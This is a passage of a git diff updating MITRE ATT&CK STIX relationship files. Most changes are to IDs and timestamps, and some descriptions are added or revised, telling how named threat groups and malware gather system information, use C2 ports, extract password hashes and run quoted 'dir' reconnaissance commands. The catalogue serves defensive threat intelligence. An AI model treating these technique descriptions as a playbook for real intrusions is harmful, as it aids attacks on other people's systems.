+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5b9fbec2-0e72-44ef-94a5-a9f702469c93.json b/enterprise-attack/relationship/relationship--5b9fbec2-0e72-44ef-94a5-a9f702469c93.json
index 3efb0d32c6..bf0830349f 100644
--- a/enterprise-attack/relationship/relationship--5b9fbec2-0e72-44ef-94a5-a9f702469c93.json
+++ b/enterprise-attack/relationship/relationship--5b9fbec2-0e72-44ef-94a5-a9f702469c93.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--548721b1-7e92-42a9-a630-5fab851ad566",
+    "id": "bundle--15b6ac69-4268-4c2d-b70f-dc94a49ea44c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5b9fbec2-0e72-44ef-94a5-a9f702469c93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike's \"beacon\" payload is capable of running shell commands without <code>cmd.exe</code> and PowerShell commands without <code>powershell.exe</code>",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--5bad7b38-36b5-4208-9895-e4a113c511a3.json b/enterprise-attack/relationship/relationship--5bad7b38-36b5-4208-9895-e4a113c511a3.json
index 05d166473f..bbf7e774e5 100644
--- a/enterprise-attack/relationship/relationship--5bad7b38-36b5-4208-9895-e4a113c511a3.json
+++ b/enterprise-attack/relationship/relationship--5bad7b38-36b5-4208-9895-e4a113c511a3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ae285881-1afd-4c6a-9eda-e38dd8930eea",
+    "id": "bundle--c14a7c7d-4fdf-47aa-996f-c27aa9be95b2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5bad7b38-36b5-4208-9895-e4a113c511a3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Darkhotel's selective infector modifies executables stored on removable media as a method of spreading across computers.",
             "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
diff --git a/enterprise-attack/relationship/relationship--5bb39b9d-3651-4cdf-80b1-9d88b2062258.json b/enterprise-attack/relationship/relationship--5bb39b9d-3651-4cdf-80b1-9d88b2062258.json
index 28ad1df35d..3d6dc9ee53 100644
--- a/enterprise-attack/relationship/relationship--5bb39b9d-3651-4cdf-80b1-9d88b2062258.json
+++ b/enterprise-attack/relationship/relationship--5bb39b9d-3651-4cdf-80b1-9d88b2062258.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e13d41cb-34f9-4182-9d60-899773631e2d",
+    "id": "bundle--92e9003e-f120-4839-863e-980cc6792f4f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5bb39b9d-3651-4cdf-80b1-9d88b2062258",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon has used TCP port 8080 for C2.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--5bb90849-cdfe-4cc0-9ca3-128f17b2a1d1.json b/enterprise-attack/relationship/relationship--5bb90849-cdfe-4cc0-9ca3-128f17b2a1d1.json
new file mode 100644
index 0000000000..7d6e0d0640
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--5bb90849-cdfe-4cc0-9ca3-128f17b2a1d1.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--5fb9e6d8-cca1-4274-bab7-ee82a0f02b74",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--5bb90849-cdfe-4cc0-9ca3-128f17b2a1d1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth has used Tasklist to get information on processes.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5bb94c21-96c6-4c71-ae46-b222a69a493a.json b/enterprise-attack/relationship/relationship--5bb94c21-96c6-4c71-ae46-b222a69a493a.json
index b1aa45be39..7a6ab22919 100644
--- a/enterprise-attack/relationship/relationship--5bb94c21-96c6-4c71-ae46-b222a69a493a.json
+++ b/enterprise-attack/relationship/relationship--5bb94c21-96c6-4c71-ae46-b222a69a493a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c902fa52-31ba-41c5-9afb-540011efbd36",
+    "id": "bundle--6681e1c7-3193-4cce-a54b-86432e98c4f4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5bb94c21-96c6-4c71-ae46-b222a69a493a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NETEAGLE allows adversaries to enumerate and modify the infected host's file system. It supports searching for directories, creating directories, listing directory contents, reading and writing to files, retrieving file attributes, and retrieving volume information.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
diff --git a/enterprise-attack/relationship/relationship--5bda4ebe-cd21-469e-9495-952df7254f17.json b/enterprise-attack/relationship/relationship--5bda4ebe-cd21-469e-9495-952df7254f17.json
index 2fe586d069..a161c3d2c5 100644
--- a/enterprise-attack/relationship/relationship--5bda4ebe-cd21-469e-9495-952df7254f17.json
+++ b/enterprise-attack/relationship/relationship--5bda4ebe-cd21-469e-9495-952df7254f17.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e0470aa1-5247-47f8-bcc3-9bdff1b50c50",
+    "id": "bundle--34e33a4d-0977-4673-9999-b0c5d53dfd6c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--5bda4ebe-cd21-469e-9495-952df7254f17",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "APT29 used multiple versions of malware, and also minimized re-use of commonly-identified indicators like MD5s and C2s.",
+            "description": "APT29 used sdelete to remove artifacts from victims.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
             "external_references": [
diff --git a/enterprise-attack/relationship/relationship--5c0645e4-f0c7-4bb4-bedb-29a96a472fe0.json b/enterprise-attack/relationship/relationship--5c0645e4-f0c7-4bb4-bedb-29a96a472fe0.json
index 04dbb00086..a3951bd38e 100644
--- a/enterprise-attack/relationship/relationship--5c0645e4-f0c7-4bb4-bedb-29a96a472fe0.json
+++ b/enterprise-attack/relationship/relationship--5c0645e4-f0c7-4bb4-bedb-29a96a472fe0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1abc79a6-8678-4d67-ae25-a2d8fe519ae4",
+    "id": "bundle--9f6bdbe3-31c9-4774-b74a-fa92e4d86f8c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5c0645e4-f0c7-4bb4-bedb-29a96a472fe0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252",
diff --git a/enterprise-attack/relationship/relationship--5c34be50-c7be-40c2-80bb-f3bc7db5cdd7.json b/enterprise-attack/relationship/relationship--5c34be50-c7be-40c2-80bb-f3bc7db5cdd7.json
index 49df407ec8..2517d68649 100644
--- a/enterprise-attack/relationship/relationship--5c34be50-c7be-40c2-80bb-f3bc7db5cdd7.json
+++ b/enterprise-attack/relationship/relationship--5c34be50-c7be-40c2-80bb-f3bc7db5cdd7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8a9bd305-b217-4098-aad1-efca1b37c379",
+    "id": "bundle--58b0b5e3-f7d9-4324-aeae-3360028d1221",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5c34be50-c7be-40c2-80bb-f3bc7db5cdd7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
diff --git a/enterprise-attack/relationship/relationship--5c38fba7-20c6-4872-ad05-21f0f77e0820.json b/enterprise-attack/relationship/relationship--5c38fba7-20c6-4872-ad05-21f0f77e0820.json
new file mode 100644
index 0000000000..2ce3197c76
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--5c38fba7-20c6-4872-ad05-21f0f77e0820.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--fcd82dbf-1a8c-4e94-bdb4-9fea03454583",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--5c38fba7-20c6-4872-ad05-21f0f77e0820",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5c4e0ddb-57a1-440f-82ab-146847c99be8.json b/enterprise-attack/relationship/relationship--5c4e0ddb-57a1-440f-82ab-146847c99be8.json
index c913dd73b7..5a31276956 100644
--- a/enterprise-attack/relationship/relationship--5c4e0ddb-57a1-440f-82ab-146847c99be8.json
+++ b/enterprise-attack/relationship/relationship--5c4e0ddb-57a1-440f-82ab-146847c99be8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3e8d2a4a-0a8f-4e84-b94a-bc0b7a16aca4",
+    "id": "bundle--1406f0a1-bda6-4a26-b19c-ccc2bed740cb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5c4e0ddb-57a1-440f-82ab-146847c99be8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SOUNDBITE is capable of gathering system information.",
             "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
diff --git a/enterprise-attack/relationship/relationship--5c6b3fda-2eec-4c7a-af09-5f880f260085.json b/enterprise-attack/relationship/relationship--5c6b3fda-2eec-4c7a-af09-5f880f260085.json
index 52efa46758..1628329f5b 100644
--- a/enterprise-attack/relationship/relationship--5c6b3fda-2eec-4c7a-af09-5f880f260085.json
+++ b/enterprise-attack/relationship/relationship--5c6b3fda-2eec-4c7a-af09-5f880f260085.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e06e6025-6ad7-4b91-80ed-8b8cf6b09eba",
+    "id": "bundle--a41b49bc-1617-4d04-be3c-7c725a05a1a4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5c6b3fda-2eec-4c7a-af09-5f880f260085",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cachedump can extract cached password hashes from a system\u2019s registry.",
             "source_ref": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52",
diff --git a/enterprise-attack/relationship/relationship--5c816fc0-c4e3-47ef-8193-ef88eabdfc7e.json b/enterprise-attack/relationship/relationship--5c816fc0-c4e3-47ef-8193-ef88eabdfc7e.json
index 8365ffe677..369ef3ee76 100644
--- a/enterprise-attack/relationship/relationship--5c816fc0-c4e3-47ef-8193-ef88eabdfc7e.json
+++ b/enterprise-attack/relationship/relationship--5c816fc0-c4e3-47ef-8193-ef88eabdfc7e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a05f739f-30b1-40be-a8c1-d4265b2f8c1d",
+    "id": "bundle--4fbd9d3a-dc87-40bd-86ac-14e51edafcd9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--5c816fc0-c4e3-47ef-8193-ef88eabdfc7e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "admin@338 actors used the following commands after exploiting a machine with LOWBALL malware to obtain information about files and directories:\n** <code>dir c:\\ >> %temp%\\download</code>\n** <code>dir \"c:\\Documents and Settings\" >> %temp%\\download</code>\n** <code>dir \"c:\\Program Files\\\" >> %temp%\\download</code>\n** <code>dir d:\\ >> %temp%\\download</code>",
+            "description": "admin@338 actors used the following commands after exploiting a machine with LOWBALL malware to obtain information about files and directories: <code>dir c:\\ >> %temp%\\download</code> <code>dir \"c:\\Documents and Settings\" >> %temp%\\download</code> <code>dir \"c:\\Program Files\\\" >> %temp%\\download</code> <code>dir d:\\ >> %temp%\\download</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
             "external_references": [
diff --git a/enterprise-attack/relationship/relationship--5c84cfe2-a395-47c6-831a-4491f8585a00.json b/enterprise-attack/relationship/relationship--5c84cfe2-a395-47c6-831a-4491f8585a00.json
index dcce484b4f..a83d375d69 100644
--- a/enterprise-attack/relationship/relationship--5c84cfe2-a395-47c6-831a-4491f8585a00.json
+++ b/enterprise-attack/relationship/relationship--5c84cfe2-a395-47c6-831a-4491f8585a00.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cce06520-1bda-43e3-b8cd-6bfe1cabc39d",
+    "id": "bundle--a0ebdda1-c79c-4ed0-a5db-05d01b26cd39",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5c84cfe2-a395-47c6-831a-4491f8585a00",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka collects passwords stored in applications installed on the victim.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--5c84d301-b6d1-4af8-9c25-1260e05fa924.json b/enterprise-attack/relationship/relationship--5c84d301-b6d1-4af8-9c25-1260e05fa924.json
index adb9c82985..998b0d5c9a 100644
--- a/enterprise-attack/relationship/relationship--5c84d301-b6d1-4af8-9c25-1260e05fa924.json
+++ b/enterprise-attack/relationship/relationship--5c84d301-b6d1-4af8-9c25-1260e05fa924.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--396876e8-cbe3-4335-9134-73ee325f0d18",
+    "id": "bundle--41c52b6c-4219-41de-b284-4f3890b2836e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5c84d301-b6d1-4af8-9c25-1260e05fa924",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind has a command to return a directory listing for a specified directory.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--5c8fba10-9d8a-4257-a458-8f58efc8d912.json b/enterprise-attack/relationship/relationship--5c8fba10-9d8a-4257-a458-8f58efc8d912.json
index fc0d974e79..0b672652aa 100644
--- a/enterprise-attack/relationship/relationship--5c8fba10-9d8a-4257-a458-8f58efc8d912.json
+++ b/enterprise-attack/relationship/relationship--5c8fba10-9d8a-4257-a458-8f58efc8d912.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--231c612c-5ddd-4b24-bce9-8c4aa7f15127",
+    "id": "bundle--7bfb2b6e-682b-4b39-ae57-bea20f41b447",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5c8fba10-9d8a-4257-a458-8f58efc8d912",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang uses command-line interaction to search files and directories.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
diff --git a/enterprise-attack/relationship/relationship--5ccd4b15-ef11-4b89-b0e1-4dd714fa2fb5.json b/enterprise-attack/relationship/relationship--5ccd4b15-ef11-4b89-b0e1-4dd714fa2fb5.json
index c721b011cc..98aab2bbdc 100644
--- a/enterprise-attack/relationship/relationship--5ccd4b15-ef11-4b89-b0e1-4dd714fa2fb5.json
+++ b/enterprise-attack/relationship/relationship--5ccd4b15-ef11-4b89-b0e1-4dd714fa2fb5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8d724a8d-11d0-429c-9381-ee1fa575073e",
+    "id": "bundle--db6485ef-f3e0-493b-9dbe-9a971168d5ce",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5ccd4b15-ef11-4b89-b0e1-4dd714fa2fb5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
             "target_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a",
diff --git a/enterprise-attack/relationship/relationship--5cceffd9-5818-4481-bce6-4e326548d6b4.json b/enterprise-attack/relationship/relationship--5cceffd9-5818-4481-bce6-4e326548d6b4.json
index a991972e82..cdb1edd45f 100644
--- a/enterprise-attack/relationship/relationship--5cceffd9-5818-4481-bce6-4e326548d6b4.json
+++ b/enterprise-attack/relationship/relationship--5cceffd9-5818-4481-bce6-4e326548d6b4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--45514e10-85c6-4fa5-adec-7f5b6074fea1",
+    "id": "bundle--4a2cc637-4306-42b7-ad61-0a1fef60b4b3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5cceffd9-5818-4481-bce6-4e326548d6b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind obtains the number of removable drives from the victim.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--5cd8b8a9-fd11-4405-8369-b12398b94def.json b/enterprise-attack/relationship/relationship--5cd8b8a9-fd11-4405-8369-b12398b94def.json
index b32c117688..88e69709c5 100644
--- a/enterprise-attack/relationship/relationship--5cd8b8a9-fd11-4405-8369-b12398b94def.json
+++ b/enterprise-attack/relationship/relationship--5cd8b8a9-fd11-4405-8369-b12398b94def.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7cf613a0-7129-4f1d-bab7-0562bff1514b",
+    "id": "bundle--2aab116a-737b-463e-a10f-a4840182c830",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--5cd8b8a9-fd11-4405-8369-b12398b94def",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "AutoIt attempts to escalate privileges by bypassing User Access Control.",
+            "description": "AutoIt backdoor attempts to escalate privileges by bypassing User Access Control.",
             "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
             "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
             "external_references": [
diff --git a/enterprise-attack/relationship/relationship--5cdbfaba-b4be-4cff-bdc6-c9205c44c844.json b/enterprise-attack/relationship/relationship--5cdbfaba-b4be-4cff-bdc6-c9205c44c844.json
new file mode 100644
index 0000000000..8d1f7daa98
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--5cdbfaba-b4be-4cff-bdc6-c9205c44c844.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--922095b9-5074-4c70-be32-31fb2c4931f9",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--5cdbfaba-b4be-4cff-bdc6-c9205c44c844",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Some  samples use AES to encrypt C2 traffic.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5cfcbf60-454a-4673-aa93-9020d04efab7.json b/enterprise-attack/relationship/relationship--5cfcbf60-454a-4673-aa93-9020d04efab7.json
index 9d16afabc9..a6aff0e5f7 100644
--- a/enterprise-attack/relationship/relationship--5cfcbf60-454a-4673-aa93-9020d04efab7.json
+++ b/enterprise-attack/relationship/relationship--5cfcbf60-454a-4673-aa93-9020d04efab7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4e59091b-1b60-4c3e-9189-7063d41566f5",
+    "id": "bundle--0614ad95-ed46-47a2-bbb9-a7eafa78c07f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5cfcbf60-454a-4673-aa93-9020d04efab7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.041Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
diff --git a/enterprise-attack/relationship/relationship--5d0263d9-ddd3-4195-96ae-e340caef9e0e.json b/enterprise-attack/relationship/relationship--5d0263d9-ddd3-4195-96ae-e340caef9e0e.json
index ccc71221ea..ce6d64ec06 100644
--- a/enterprise-attack/relationship/relationship--5d0263d9-ddd3-4195-96ae-e340caef9e0e.json
+++ b/enterprise-attack/relationship/relationship--5d0263d9-ddd3-4195-96ae-e340caef9e0e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2c2e5775-fc63-4aa4-822a-8428bd9d985e",
+    "id": "bundle--26dc62e9-9661-49c4-8bc2-8a155c90ac9e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5d0263d9-ddd3-4195-96ae-e340caef9e0e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--5d2ca571-9e66-4949-b3a1-978c47398b18.json b/enterprise-attack/relationship/relationship--5d2ca571-9e66-4949-b3a1-978c47398b18.json
index 794860d6e5..24d3006478 100644
--- a/enterprise-attack/relationship/relationship--5d2ca571-9e66-4949-b3a1-978c47398b18.json
+++ b/enterprise-attack/relationship/relationship--5d2ca571-9e66-4949-b3a1-978c47398b18.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--84eaebe8-9414-4505-a052-8b2ab1a3e1c6",
+    "id": "bundle--31bdf049-e0e1-4e32-8546-3691868dacaf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5d2ca571-9e66-4949-b3a1-978c47398b18",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi gathers the name of the local host, version of GNU Compiler Collection (GCC), and the system information about the machine and operating system.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
diff --git a/enterprise-attack/relationship/relationship--5d397a8d-2195-440d-a0f5-bbf6c3e8f6e4.json b/enterprise-attack/relationship/relationship--5d397a8d-2195-440d-a0f5-bbf6c3e8f6e4.json
index b46e093eb0..3f387b6f5f 100644
--- a/enterprise-attack/relationship/relationship--5d397a8d-2195-440d-a0f5-bbf6c3e8f6e4.json
+++ b/enterprise-attack/relationship/relationship--5d397a8d-2195-440d-a0f5-bbf6c3e8f6e4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ecc6667a-7142-4d5f-8fc3-87c5ea727652",
+    "id": "bundle--fdf49696-b975-4179-93a4-d675336c7e5b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
